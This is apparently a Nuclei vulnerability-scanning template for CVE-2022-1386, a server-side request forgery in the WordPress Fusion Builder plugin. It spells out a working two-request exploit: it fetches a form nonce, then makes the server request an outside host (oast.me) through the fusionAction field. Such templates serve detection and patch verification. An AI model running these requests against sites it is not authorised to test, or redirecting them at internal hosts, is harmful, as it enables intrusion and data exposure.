id: CVE-2022-1386

info:
  name: WordPress Fusion Builder <3.6.2 - Server-Side Request Forgery
  author: akincibor,MantisSTS,calumjelrick
  severity: critical
  description: |
    WordPress Fusion Builder plugin before 3.6.2 is susceptible to server-side request forgery. The plugin does not validate a parameter in its forms, which can be used to initiate arbitrary HTTP requests. The data returned is then reflected back in the application's response. An attacker can potentially interact with hosts on the server's local network, bypass firewalls, and access control measures.
  impact: |
    An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Update to the latest version of WordPress Fusion Builder plugin (3.6.2) or apply the vendor-provided patch.
  reference:
    - https://wpscan.com/vulnerability/bf7034ab-24c4-461f-a709-3f73988b536b
    - https://www.rootshellsecurity.net/rootshell-discovered-a-critical-vulnerability-in-top-wordpress-theme/
    - https://theme-fusion.com/version-7-6-2-security-update/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1386
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1386
    cwe-id: CWE-918
    epss-score: 0.72076
    epss-percentile: 0.99371
    cpe: cpe:2.3:a:fusion_builder_project:fusion_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: fusion_builder_project
    product: fusion_builder
    framework: wordpress
  tags: cve,cve2022,wpscan,wordpress,ssrf,themefusion,wp,fusion,avada,intrusive,theme-fusion,fusion_builder_project,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Origin: {{BaseURL}}
        Referer: {{RootURL}}

        action=fusion_form_update_view
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------30259827232283860776499538268
        Origin: {{BaseURL}}
        Referer: {{RootURL}}

        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="formData"

        email=example%40oast.me&fusion_privacy_store_ip_ua=false&fusion_privacy_expiration_interval=48&priva
        cy_expiration_action=ignore&fusion-form-nonce-0={{fusionformnonce}}&fusion-fields-hold-private-data=
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="action"

        fusion_form_submit_form_to_url
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="fusion_form_nonce"

        {{fusionformnonce}}
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="form_id"

        0
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="post_id"

        0
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="field_labels"

        {"email":"Email address"}
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="hidden_field_names"

        []
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="fusionAction"

        https://oast.me
        -----------------------------30259827232283860776499538268
        Content-Disposition: form-data; name="fusionActionMethod"

        GET
        -----------------------------30259827232283860776499538268--

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - Interactsh Server

      - type: status
        status:
          - 200

    extractors:
      - type: xpath
        name: fusionformnonce
        internal: true
        xpath:
          - //*[@id="fusion-form-nonce-0"]
        attribute: value
        part: body_1
# digest: 4a0a0047304502206bae4de8d2082720fb96c292a474e7bd3c6a5d48de3e165f6e83a81533e622ab0221009a54b29f792aef5d991440d2dd85744d623c7dc9f9b3704e9ccdc06e99a77db8:922c64590222798bb761d5b6d8e72950